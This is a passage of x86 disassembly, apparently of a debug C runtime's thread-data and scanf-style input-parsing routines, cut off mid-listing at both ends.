pop ebp
retn
sub_41F9F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA10 proc near ; CODE XREF: sub_418FF0+3p
; sub_419000+4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call ds:dword_4942F0
mov [ebp+var_8], eax
mov eax, dword_442F6C
push eax
call ds:dword_49446C
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41FA97
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_416E40
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41FA8D
mov ecx, [ebp+var_4]
push ecx
mov edx, dword_442F6C
push edx
call ds:dword_49445C
test eax, eax
jz short loc_41FA8D
mov eax, [ebp+var_4]
push eax
call sub_41F9F0
add esp, 4
call ds:dword_494458
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_41FA97
; ---------------------------------------------------------------------------
loc_41FA8D: ; CODE XREF: sub_41FA10+43j
; sub_41FA10+58j
push 10h
call sub_41BAE0
add esp, 4
loc_41FA97: ; CODE XREF: sub_41FA10+22j
; sub_41FA10+7Bj
mov eax, [ebp+var_8]
push eax
call ds:dword_494468
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41FA10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_442F6C, 0FFFFFFFFh
jz loc_41FBB5
cmp dword ptr [ebp+8], 0
jnz short loc_41FAD5
mov eax, dword_442F6C
push eax
call ds:dword_49446C
mov [ebp+8], eax
loc_41FAD5: ; CODE XREF: .text:0041FAC4j
cmp dword ptr [ebp+8], 0
jz loc_41FBA6
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_41FAF9
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_4174C0
add esp, 8
loc_41FAF9: ; CODE XREF: .text:0041FAE6j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_41FB13
push 2
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
call sub_4174C0
add esp, 8
loc_41FB13: ; CODE XREF: .text:0041FB00j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_41FB2D
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_4174C0
add esp, 8
loc_41FB2D: ; CODE XREF: .text:0041FB1Aj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_41FB47
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_4174C0
add esp, 8
loc_41FB47: ; CODE XREF: .text:0041FB34j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_41FB61
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_4174C0
add esp, 8
loc_41FB61: ; CODE XREF: .text:0041FB4Ej
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_41FB7B
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_4174C0
add esp, 8
loc_41FB7B: ; CODE XREF: .text:0041FB68j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_4435D0
jz short loc_41FB98
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_4174C0
add esp, 8
loc_41FB98: ; CODE XREF: .text:0041FB85j
push 2
mov ecx, [ebp+8]
push ecx
call sub_4174C0
add esp, 8
loc_41FBA6: ; CODE XREF: .text:0041FAD9j
push 0
mov edx, dword_442F6C
push edx
call ds:dword_49445C
loc_41FBB5: ; CODE XREF: .text:0041FABAj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call ds:dword_494458
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call ds:dword_494470
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBE0 proc near ; CODE XREF: sub_4192A0+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_41FBEC: ; CODE XREF: sub_41FBE0+37j
cmp [ebp+arg_4], 0
jnz short loc_41FC13
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset aInput_c ; "input.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41FC13
int 3 ; Trap to Debugger
loc_41FC13: ; CODE XREF: sub_41FBE0+10j
; sub_41FBE0+30j
xor eax, eax
test eax, eax
jnz short loc_41FBEC
loc_41FC19: ; CODE XREF: sub_41FBE0+64j
cmp [ebp+arg_0], 0
jnz short loc_41FC40
push offset aStreamNull ; "stream != NULL"
push 0
push 10Ch
push offset aInput_c ; "input.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41FC40
int 3 ; Trap to Debugger
loc_41FC40: ; CODE XREF: sub_41FBE0+3Dj
; sub_41FBE0+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_41FC19
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_41FC57: ; CODE XREF: sub_41FBE0:loc_420EC5j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_420ECA
cmp dword_442F58, 1
jle short loc_41FC89
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_41FCA5
; ---------------------------------------------------------------------------
loc_41FC89: ; CODE XREF: sub_41FBE0+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_41FCA5: ; CODE XREF: sub_41FBE0+A7j
cmp [ebp+var_1F8], 0
jz short loc_41FCF3
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_4210A0
add esp, 8
push eax
call sub_421080
add esp, 8
loc_41FCD4: ; CODE XREF: sub_41FBE0+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_427670
add esp, 4
test eax, eax
jz short loc_41FCF3
jmp short loc_41FCD4
; ---------------------------------------------------------------------------
loc_41FCF3: ; CODE XREF: sub_41FBE0+CCj
; sub_41FBE0+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_420DAE
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_41FD55: ; CODE XREF: sub_41FBE0:loc_41FEADj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_41FEB2
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp dword_442F58, 1
jle short loc_41FD99
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_41FDB6
; ---------------------------------------------------------------------------
loc_41FD99: ; CODE XREF: sub_41FBE0+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_41FDB6: ; CODE XREF: sub_41FBE0+1B7j
cmp [ebp+var_1FC], 0
jz short loc_41FDE6
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FDE6: ; CODE XREF: sub_41FBE0+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_41FEA5
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, ds:byte_420F28[edx]
jmp ds:off_420F08[ecx*4]
loc_41FE20: ; DATA XREF: .text:00420F0Co
jmp loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FE25: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:00420F18o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FE38: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:00420F10o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_41FE7A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_41FE7A
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FE7A: ; CODE XREF: sub_41FBE0+263j
; sub_41FBE0+270j
jmp short loc_41FEA5
; ---------------------------------------------------------------------------
loc_41FE7C: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:00420F14o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FE87: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:00420F1Co
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_41FE8F: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:00420F20o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FE9A: ; CODE XREF: sub_41FBE0+239j
; DATA XREF: .text:off_420F08o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_41FEAD
; ---------------------------------------------------------------------------
loc_41FEA5: ; CODE XREF: sub_41FBE0+225j
; sub_41FBE0+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_41FEAD: ; CODE XREF: sub_41FBE0+201j
; sub_41FBE0:loc_41FE20j ...
jmp loc_41FD55
; ---------------------------------------------------------------------------
loc_41FEB2: ; CODE XREF: sub_41FBE0+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_41FED5
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_41FED5: ; CODE XREF: sub_41FBE0+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_41FF0C
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_41FEF9
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_41FF04
loc_41FEF9: ; CODE XREF: sub_41FBE0+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_41FF0C
; ---------------------------------------------------------------------------
loc_41FF04: ; CODE XREF: sub_41FBE0+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_41FF0C: ; CODE XREF: sub_41FBE0+2FFj
; sub_41FBE0+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_41FF5E
cmp [ebp+var_C], 63h
jz short loc_41FF43
cmp [ebp+var_C], 7Bh
jz short loc_41FF43
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_4210A0
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_41FF5E
; ---------------------------------------------------------------------------
loc_41FF43: ; CODE XREF: sub_41FBE0+343j
; sub_41FBE0+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_41FF5E: ; CODE XREF: sub_41FBE0+33Dj
; sub_41FBE0+361j
cmp [ebp+var_1E8], 0
jz short loc_41FF71
cmp [ebp+var_1C], 0
jz loc_420D7F
loc_41FF71: ; CODE XREF: sub_41FBE0+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_420D2A
mov ecx, [ebp+var_204]
xor eax, eax
mov al, ds:byte_420F9E[ecx]
jmp ds:off_420F76[eax*4]
loc_41FFAB: ; DATA XREF: .text:off_420F76o
cmp [ebp+var_1E8], 0
jnz short loc_41FFCC
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_41FFCC: ; CODE XREF: sub_41FBE0+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_41FFDD
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_41FFDD: ; CODE XREF: sub_41FBE0+3F2j
mov [ebp+var_1E0], offset asc_442F78 ; "]"
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_420060
; ---------------------------------------------------------------------------
loc_41FFF1: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F8Eo
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_420002
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_420002: ; CODE XREF: sub_41FBE0+417j
mov [ebp+var_1E0], offset asc_442F70 ; " \t-\r]"
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_420060
; ---------------------------------------------------------------------------
loc_420016: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F96o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_420027
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_420027: ; CODE XREF: sub_41FBE0+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_420060
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_420060: ; CODE XREF: sub_41FBE0+40Fj
; sub_41FBE0+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_4189A0
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_42009C
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_42009C
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_42009C: ; CODE XREF: sub_41FBE0+494j
; sub_41FBE0+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_420207
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_4200F8
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_4200F8
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_42013E
loc_4200F8: ; CODE XREF: sub_41FBE0+4FAj
; sub_41FBE0+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_420202
; ---------------------------------------------------------------------------
loc_42013E: ; CODE XREF: sub_41FBE0+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_42017E
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_42018D
; ---------------------------------------------------------------------------
loc_42017E: ; CODE XREF: sub_41FBE0+591j
mov al, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_24], al
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_42018D: ; CODE XREF: sub_41FBE0+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_4201A6
; ---------------------------------------------------------------------------
loc_420198: ; CODE XREF: sub_41FBE0+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_4201A6: ; CODE XREF: sub_41FBE0+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_4201FE
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_420198
; ---------------------------------------------------------------------------
loc_4201FE: ; CODE XREF: sub_41FBE0+5DDj
mov byte ptr [ebp+var_8], 0
loc_420202: ; CODE XREF: sub_41FBE0+559j
jmp loc_42009C
; ---------------------------------------------------------------------------
loc_420207: ; CODE XREF: sub_41FBE0+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_42021A
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_42021A: ; CODE XREF: sub_41FBE0+633j
cmp [ebp+var_C], 7Bh
jnz short loc_420229
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_420229: ; CODE XREF: sub_41FBE0+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421080
add esp, 8
loc_42024E: ; CODE XREF: sub_41FBE0:loc_420390j
cmp [ebp+var_1E8], 0
jz short loc_42026B
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_420395
loc_42026B: ; CODE XREF: sub_41FBE0+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_420372
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_420372
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_420361
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_42034B
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42031D
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421020
add esp, 4
mov [ebp+var_1EF], al
loc_42031D: ; CODE XREF: sub_41FBE0+720j
mov eax, dword_442F58
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_427330
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_42035F
; ---------------------------------------------------------------------------
loc_42034B: ; CODE XREF: sub_41FBE0+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_42035F: ; CODE XREF: sub_41FBE0+769j
jmp short loc_420370
; ---------------------------------------------------------------------------
loc_420361: ; CODE XREF: sub_41FBE0+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_420370: ; CODE XREF: sub_41FBE0:loc_42035Fj
jmp short loc_420390
; ---------------------------------------------------------------------------
loc_420372: ; CODE XREF: sub_41FBE0+6ADj
; sub_41FBE0+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421080
add esp, 8
jmp short loc_420395
; ---------------------------------------------------------------------------
loc_420390: ; CODE XREF: sub_41FBE0:loc_420370j
jmp loc_42024E
; ---------------------------------------------------------------------------
loc_420395: ; CODE XREF: sub_41FBE0+685j
; sub_41FBE0+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_4203D1
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_4203CF
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_4203CF
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_4203C9
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_4203CF
; ---------------------------------------------------------------------------
loc_4203C9: ; CODE XREF: sub_41FBE0+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_4203CF: ; CODE XREF: sub_41FBE0+7C6j
; sub_41FBE0+7D5j ...
jmp short loc_4203D6
; ---------------------------------------------------------------------------
loc_4203D1: ; CODE XREF: sub_41FBE0+7BEj
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_4203D6: ; CODE XREF: sub_41FBE0:loc_4203CFj
jmp loc_420D74
; ---------------------------------------------------------------------------
loc_4203DB: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F82o
mov [ebp+var_C], 64h
loc_4203E2: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F92o
cmp [ebp+var_1D8], 2Dh
jnz short loc_4203F6
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_4203FF
; ---------------------------------------------------------------------------
loc_4203F6: ; CODE XREF: sub_41FBE0+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42043C
loc_4203FF: ; CODE XREF: sub_41FBE0+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_420421
cmp [ebp+var_1E8], 0
jz short loc_420421
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42043C
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_41FBE0+82Cj
; sub_41FBE0+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_42043C: ; CODE XREF: sub_41FBE0+81Dj
; sub_41FBE0+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_4204DE
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_42047C
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_4204A0
loc_42047C: ; CODE XREF: sub_41FBE0+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_4204DE
; ---------------------------------------------------------------------------
loc_4204A0: ; CODE XREF: sub_41FBE0+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_4204B8
mov [ebp+var_C], 6Fh
jmp short loc_4204DE
; ---------------------------------------------------------------------------
loc_4204B8: ; CODE XREF: sub_41FBE0+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421080
add esp, 8
mov [ebp+var_1D8], 30h
loc_4204DE: ; CODE XREF: sub_41FBE0+863j
; sub_41FBE0+8BEj ...
jmp short loc_42053E
; ---------------------------------------------------------------------------
loc_4204E0: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F8Ao
mov [ebp+var_38], 1
loc_4204E4: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F7Ao
cmp [ebp+var_1D8], 2Dh
jnz short loc_4204F8
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_420501
; ---------------------------------------------------------------------------
loc_4204F8: ; CODE XREF: sub_41FBE0+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42053E
loc_420501: ; CODE XREF: sub_41FBE0+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_420523
cmp [ebp+var_1E8], 0
jz short loc_420523
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42053E
; ---------------------------------------------------------------------------
loc_420523: ; CODE XREF: sub_41FBE0+92Ej
; sub_41FBE0+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_42053E: ; CODE XREF: sub_41FBE0:loc_4204DEj
; sub_41FBE0+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_420739
loc_42054B: ; CODE XREF: sub_41FBE0:loc_420714j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_420719
cmp [ebp+var_C], 78h
jnz loc_4205E6
cmp dword_442F58, 1
jle short loc_420586
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_41E750
add esp, 8
